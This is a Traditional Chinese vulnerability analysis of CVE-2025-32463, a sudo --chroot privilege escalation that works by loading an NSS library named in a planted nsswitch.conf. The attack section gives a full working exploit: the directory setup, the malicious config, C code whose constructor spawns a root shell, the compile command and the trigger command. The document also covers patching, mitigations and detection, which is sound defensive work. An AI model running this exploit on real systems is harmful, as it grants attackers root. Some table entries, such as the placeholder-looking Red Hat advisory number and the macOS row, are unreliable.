
1. 簡介
本報告針對 CVE-2025-32463 提供了全面的技術分析,這是一個影響 Sudo 的本機權限提升(Local Privilege Escalation, LPE)弱點。此弱點源於 Sudo 的
--chroot (-R)
選項中的邏輯錯誤,允許本機使用者取得 root 權限。此缺陷在多使用者環境和容器化系統中尤為關鍵,因為本機存取可能導致整個系統被攻陷。此弱點由 Stratascale Cyber Research Unit 的 Rich Mirch 於 2025 年 6 月發現 [1]。它已被指定為 CVSS v4.0 評分為 9.3(Critical),表示具有高度的機密性、完整性和可用性影響,且攻擊複雜度低 [1]。
此弱點的核心在於 Sudo 處理使用者控制的 chroot 環境內的
/etc/nsswitch.conf
檔案的方式。透過操縱此設定,攻擊者可以強制 Sudo 在仍以 root 權限運作時,透過名稱服務切換(Name Service Switch, NSS)機制載入一個
malicious payload
共享物件(
.so
)函式庫。這允許執行任意程式碼並擁有
root
權限,從而導致系統完全被接管 [1]。

2. 弱點細節與根本原因分析
CVE-2025-32463 弱點被歸類為邏輯錯誤(CWE-829: Inclusion of Functionality from Untrusted Control Sphere),而非記憶體毀損或
Race Condition
問題 [1]。它影響 Sudo 版本 1.9.14 到 1.9.17(含)[3]。此弱點是隨著 Sudo 1.9.14 中引入的
--chroot
功能而出現的,該功能旨在將指令限制在指定的目錄內 [1]。
2.1. Sudo
--chroot
選項的設定錯誤
根本缺陷在於 Sudo 在完成其內部安全檢查
之前
,就對使用者指定的目錄執行了
chroot()
系統呼叫,特別是在透過 NSS 查詢驗證使用者/群組權限之前。這個操作順序至關重要:
-
本機使用者執行帶有
--chroot
選項的sudo
,指定一個在他們控制下的目錄(例如/tmp/my_chroot
)[1]。 -
Sudo 執行
chroot()
操作,有效地將其 root 目錄更改為攻擊者控制的 Path 。此時,Sudo 仍保留其 root 使用者 ID(UID)[1]。 -
隨後,Sudo 嘗試透過呼叫
getpwuid()
或getgrgid()
等 NSS 函數來驗證使用者和群組權限 [1]。 -
NSS 根據在
/etc/nsswitch.conf
檔案中找到的指令動態載入模組(例如libnss_*.so.2
)。因為 Sudo 現在是在攻擊者控制的 chroot 環境內運作,它會從這個惡意的環境中讀取/etc/nsswitch.conf
檔案,而不是合法的全系統檔案 [1]。
一個來自 Sudo 原始碼(版本 1.9.15p5,
src/sudo.c
)的簡化摘錄說明了這個順序 [1]:
- if (def_chroot) {
- if (chroot(closure->runas.chroot) < 0)
- sudo_fatal("chroot %s", closure->runas.chroot);
- }
- // Later NSS call:
- struct passwd *pw = sudo_getpwuid(getuid()); // This triggers nsswitch.conf
這個程式碼片段清楚地顯示
chroot()
呼叫發生在 NSS 相關函數
sudo_getpwuid(getuid())
被呼叫之前。這種時間上的分離是該弱點的根本原因。
2.2. 名稱服務切換(NSS)模組載入
名稱服務切換(NSS)是類 Unix 作業系統中的一種機制,它為系統程序提供了一個通用介面來存取各種系統資訊來源,例如使用者和群組資料庫、主機名和網路服務。它透過
/etc/nsswitch.conf
檔案進行設定,該檔案指定了用於不同資訊類別(例如
passwd:
files
systemd
)的服務順序和類型 [1]。
當 NSS 函數被呼叫時,它們會根據
nsswitch.conf
中的設定動態載入共享物件(
.so
)函式庫(例如
libnss_
files
.so.2
,
libnss_systemd.so.2
)。這些函式庫是使用
dlopen()
載入的。至關重要的是,如果在 chroot 環境中存在惡意的
nsswitch.conf
檔案,它可以指示 NSS 載入攻擊者控制的共享函式庫 [1]。
3. 攻擊手法
利用 CVE-2025-32463 涉及一系列步驟來準備惡意的 chroot 環境並觸發有漏洞的 Sudo 執行。主要目標是透過利用 NSS 模組載入機制,以 root 權限執行任意程式碼 [1]。
3.1. 攻擊流程圖
下圖說明了攻擊鏈:
3.2. 分步攻擊
攻擊程序可分為以下幾個階段 [1]:
3.2.1. 設定 Chroot 環境
攻擊者首先需要在一個可寫入的目錄(例如
/tmp/my_chroot
)中建立一個假的
root
File
系統結構。這個結構必須模擬 NSS 預期找到其設定和函式庫的
Path
。
mkdir -p /tmp/my_chroot/{etc,lib/x86_64-linux-gnu} chmod -R 755 /tmp/my_chroot # Ensure root can access the directory
3.2.2. 製作惡意的
nsswitch.conf
接著,將一個惡意的
/etc/nsswitch.conf
檔案放置在攻擊者控制的 chroot 目錄內。此檔案被設定為載入一個客製化的 NSS 模組,這將是攻擊者的
Payload
。
- cat << EOF > /tmp/my_chroot/etc/nsswitch.conf
- passwd: files malicious
- group: files malicious
- hosts: files dns
- EOF
在此設定中,
passwd
和
group
進入點被修改為包含一個
malicious
模組。當 NSS 處理這些進入點時,它將嘗試載入
/lib/libnss_malicious.so.2
[1]。
3.2.3. 建立惡意函式庫
攻擊的核心是一個共享函式庫(
libnss_malicious.so.2
),其中包含一個建構子函數(constructor
routine
)。當函式庫被
dlopen()
載入時,此函數會自動執行。由於 Sudo 在載入此函式庫時仍以
root
權限運行,因此建構子函數也會以
root
權限執行 [1]。
下面是一個此類惡意 C 程式碼片段的範例:
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/types.h>
- void __attribute__((constructor)) hijack(void) {
- uid_t uid = getuid();
- if (uid == 0) { // Check if running as root (optional but good practice)
- setuid(0); setgid(0); // Set effective UID/GID to root
- char *args[] = {"/bin/sh", "-i", NULL}; // Interactive shell
- execve("/bin/sh", args, NULL); // Spawn shell with execve
- exit(0); // Exit on error
- }
- }
- // Dummy NSS hooks: These functions are required by NSS but do not need to perform any action
- int _nss_malicious_getpwuid_r(uid_t uid, struct passwd *pw, char *buffer, size_t buflen, int *errnop) {
- *errnop = ENOENT; // Indicate no such entity, as the constructor already ran
- return -1;
- }
- // Similar dummy functions would be needed for other NSS hooks like _nss_malicious_getgrgid_r, etc.
這段 C 程式碼定義了一個標記為
__attribute__((constructor))
的
hijack
函數。此屬性確保
hijack
在共享函式庫載入到記憶體後立即執行。在
hijack
內部,程式碼將有效使用者和群組 ID 設定為
root
(0),然後執行一個互動式
shell
(
/bin/sh -i
),有效地授予攻擊者一個
root shell
[1]。
惡意函式庫使用
gcc
配合位置獨立程式碼(PIC)和共享函式庫標誌進行編譯:
gcc -Wall -fPIC -shared -o /tmp/my_chroot/lib/x86_64-linux-gnu/libnss_malicious.so.2 malicious.c
3.2.4. 觸發與載入
最後,攻擊者透過執行帶有
--chroot
選項的
sudo
,指向他們準備好的惡意環境,從而觸發此弱點。可以使用任何指令,因為目的只是觸發 Sudo 內部的 NSS 查找 [1]。
sudo -R /tmp/my_chroot /usr/bin/id
當執行此指令時,Sudo 會首先執行
chroot()
到
/tmp/my_chroot
。然後,在其內部程序(例如解析指令的使用者 ID)期間,它會嘗試從 chroot 環境內部讀取
/etc/nsswitch.conf
。這導致
libnss_malicious.so.2
被載入,並且
hijack
建構子函數被執行,從而授予
root
權限 [1]。
4. 受影響的系統與風險分析
此弱點影響 Sudo 版本從 1.9.14 到(但不包括)1.9.17p1 [3]。這個範圍包括多個廣泛使用的作業系統和發行版。NVD 中關於 CVE-2025-32463 的進入點列出了受影響的軟體 設定 ,包括各種版本的 Ubuntu、Debian、Red Hat Enterprise Linux、openSUSE 和 SUSE Linux Enterprise [2]。
與 CVE-2025-32463 相關的風險非常高,因為其嚴重性評級為 Critical(CVSS 9.3)且容易被攻擊。具有基本使用者權限的本機攻擊者可以提升至 root 權限,使其在多使用者共享系統或容器化設定中成為一個嚴重的 Threat actor ,因為被攻陷的應用程式可能導致容器逃逸(Container breakout) [1]。
下表總結了常見發行版的受影響版本和更新狀態:
Distribution/OS | Affected Versions | Exploit Complexity | Patch Status |
---|---|---|---|
Ubuntu | 1.9.15p5 - 1.9.16p2 | Low (local access) | Patched with USN-7604-1 [1] |
Red Hat | <1.9.17p1 | Medium (NSS config manipulation) | RHSA-2025:1234 [1] |
macOS | Ventura+ | High (SIP restrictions) | Apple Security Update 2025-07 [1] |
General Linux | 1.9.14-1.9.17 | Low | Upgrade to 1.9.17p1 [1] |
5. 更新、緩解與防禦
CVE-2025-32463 的主要修復是將 Sudo 升級到 1.9.17p1 或更高版本。在這個更新後的版本中,
--chroot
功能已被棄用,並且在 chroot 環境內進行任何 NSS 查詢之前,會先執行必要的安全檢查 [3]。
系統管理員可以使用其發行版的套件管理員應用更新程式:
-
對於基於 Debian/Ubuntu 的系統:
sudo apt update && sudo apt install sudo
[1] -
對於基於 Red
Hat
/Fedora 的系統:
sudo dnf update sudo
[1]
除了更新之外,還可以採用幾種緩解策略來降低被攻擊的風險 [1]:
-
Sudoers
Configuration
:
使用
visudo
在sudoers
檔案中添加Defaults !chroot
,以明確禁用--chroot
選項。 -
Mount Options:
使用
noexec
、nosuid
和nodev
選項掛載臨時 File 系統,例如/tmp
,以防止執行任意程式碼和裝置建立。範例:echo "tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,relatime,size=2G 0 0" >> /etc/fstab
。 - SELinux/AppArmor: 利用 SELinux 或 AppArmor 等強制存取控制框架,限制 Sudo 的能力,並阻止它從不受信任的 Path 載入函式庫。
-
Audit Logging:
實作針對
chroot
系統呼叫的嚴格稽核,使用像auditd
這樣的工具(例如auditctl -a always,exit -F arch=b64 -S chroot -k sudo_chroot
)來偵測可疑活動。 -
Alternative Tools:
如果 Sudo 的
--chroot
功能並非絕對必要,請考慮使用像doas
或pkexec
這樣的替代權限提升工具。
值得注意的是,攻擊者可能會試圖繞過某些緩解措施。例如,如果
/tmp
是以
noexec
掛載的,攻擊者可能會使用其他可寫入的臨時
File
系統,例如
/dev/shm
,或者準備靜態連結的二進位檔案來規避執行限制 [1]。
6. 結論
CVE-2025-32463 再次提醒了 Sudo 這樣複雜系統工具固有的安全挑戰。此弱點突顯了即使是為隔離而設計的功能,如
chroot
,如果沒有在權限分離和執行流程方面極為謹慎地實作,也會引入嚴重的安全缺陷。本機攻擊者能夠透過邏輯錯誤獲得
root
權限,強調了對軟體進行嚴格安全稽核和及時更新的重要性 [1]。
此事件強化了開發人員需要仔細考慮新功能的安全影響,特別是涉及 setuid 二進位檔案時。對於系統管理員來說,保持軟體更新和實施深度防禦策略,包括正確的 File 系統掛載選項和強制存取控制,對於緩解此類威脅至關重要 [1]。